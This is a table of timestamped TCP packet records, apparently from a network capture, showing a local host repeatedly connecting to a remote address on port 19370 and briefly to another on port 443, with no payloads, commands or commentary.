Oct 17, 2024 18:20:53.159408092 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:53.159501076 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.197735071 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.202651024 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.202740908 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.203326941 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.208163977 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.209872007 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.214612007 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.266678095 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.271596909 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.297123909 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.302056074 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.347927094 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.352746964 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.389408112 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.394387007 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.415538073 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.420430899 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.430134058 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.434971094 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.464478970 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.469419956 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.487660885 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.492475033 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.537940979 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.543270111 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.553970098 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.797595024 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.797696114 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.803512096 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.812505007 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.820204973 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.837913990 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.842813015 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.862957954 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.867891073 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.895453930 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.900377989 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.930918932 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.935939074 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:58.985522032 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:58.990577936 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.027872086 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.032845020 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.041296005 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.046248913 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.060897112 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.065843105 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.083923101 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.088939905 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.115514994 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.120449066 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.129838943 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.134691000 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.146522999 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.151341915 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.154632092 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.159584045 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.179164886 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.184556007 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.211479902 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.216427088 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.229682922 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.234627008 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.266424894 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.271421909 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.281846046 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.286931992 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.319888115 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.329212904 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.332258940 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.337335110 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.344542980 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.349773884 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.361874104 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.367153883 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.387698889 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.392718077 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.397537947 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.402435064 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.419810057 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.424794912 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.455432892 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.460417986 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.513797045 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.518913031 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.537663937 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.542673111 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.562227964 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.567465067 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.575164080 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.580173016 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.618767023 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.624823093 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.637526989 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.643501997 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.656589985 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.661751986 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.670459986 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.675681114 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.702378988 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.708256006 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.728158951 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.733103991 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.750818014 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.755779982 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.786065102 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.791096926 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.822577000 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.827682018 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.847733974 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.852904081 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.895251989 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.900186062 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.908737898 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:59.913561106 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.937196016 CEST	19370	52329	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:59.937294006 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:00.021550894 CEST	52329	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:05.056574106 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.057311058 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.390705109 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.390722036 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.390818119 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.391443968 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.396931887 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.421099901 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.425987005 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.536885977 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.541994095 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.573333979 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.578393936 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.634253025 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.641546011 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.680357933 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.685431957 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.782757044 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.787789106 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.869046926 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.874541998 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.893398046 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.898447990 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.933532953 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.938440084 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.949378967 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.954754114 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.972620964 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:06.977634907 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:06.997823954 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:07.002705097 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:07.021198988 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:07.026155949 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:07.053747892 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:07.058728933 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:07.109971046 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:07.114947081 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:07.141345024 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:07.143512011 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:07.143595934 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:07.143693924 CEST	52330	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:07.146190882 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:07.148454905 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:07.148467064 CEST	19370	52330	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.179583073 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:12.179631948 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:12.179701090 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:12.180320978 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:12.180335999 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:12.258743048 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.263791084 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.263871908 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.264846087 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.270009995 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.279333115 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.284251928 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.301578045 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.306435108 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.340399027 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.345299006 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.384237051 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.389148951 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.439961910 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.444922924 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.472889900 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.478034973 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.512815952 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.517723083 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.520653009 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.525571108 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.569915056 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.574942112 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.583812952 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.588776112 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.612133026 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.617157936 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.627598047 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.632729053 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.649698019 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.654937983 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.719048023 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.724039078 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.782078981 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.787046909 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.845782995 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.854532957 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.966203928 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:12.967361927 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.980484009 CEST	52332	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:12.985472918 CEST	19370	52332	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:13.329991102 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:13.330080032 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:13.331703901 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:13.331722021 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:13.331993103 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:13.334290981 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:13.334367990 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:13.334378958 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:13.334506035 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:13.375418901 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:13.582943916 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:13.583369017 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:13.583408117 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:13.583431005 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:13.583610058 CEST	443	52331	40.113.110.67	192.168.2.6
Oct 17, 2024 18:21:13.583673954 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:13.583690882 CEST	52331	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:21:18.100615025 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.105710983 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.105853081 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.106717110 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.111792088 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.113413095 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.118451118 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.149081945 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.154690027 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.163882971 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.169008017 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.188786983 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.193691969 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.250324011 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.255764961 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.277462959 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.282402992 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.335182905 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.340408087 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.356678963 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.361819029 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.392195940 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.397147894 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.479314089 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.484412909 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.512326956 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.517383099 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.579811096 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.585267067 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.609664917 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.614805937 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.637756109 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.642784119 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.666588068 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.671773911 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.710663080 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.716089010 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.771939039 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.777898073 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.803958893 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.804733992 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.804809093 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.804868937 CEST	52333	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:18.808940887 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.809657097 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:18.809689045 CEST	19370	52333	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:23.833878040 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:23.838921070 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:23.839009047 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:23.839658022 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:23.844602108 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:23.853071928 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:23.858334064 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:23.917834044 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:23.922914982 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:23.958133936 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:23.963146925 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.010061026 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.015250921 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.089873075 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.095160007 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.107527018 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.113830090 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.139744997 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.144789934 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.159073114 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.164257050 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.196655989 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.201936007 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.228941917 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.233889103 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.256630898 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.261519909 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.273267984 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.278264046 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.298821926 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.304306030 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.318697929 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.323587894 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.360249043 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.365576029 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.372904062 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.378106117 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.394906044 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.400157928 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.415424109 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.420667887 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.443274021 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.448323965 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.459100962 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.464103937 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.475656033 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.480590105 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.502522945 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.507428885 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.548995018 CEST	19370	52334	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:24.549069881 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:24.567560911 CEST	52334	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.648593903 CEST	52335	19370	192.168.2.6	150.138.72.102
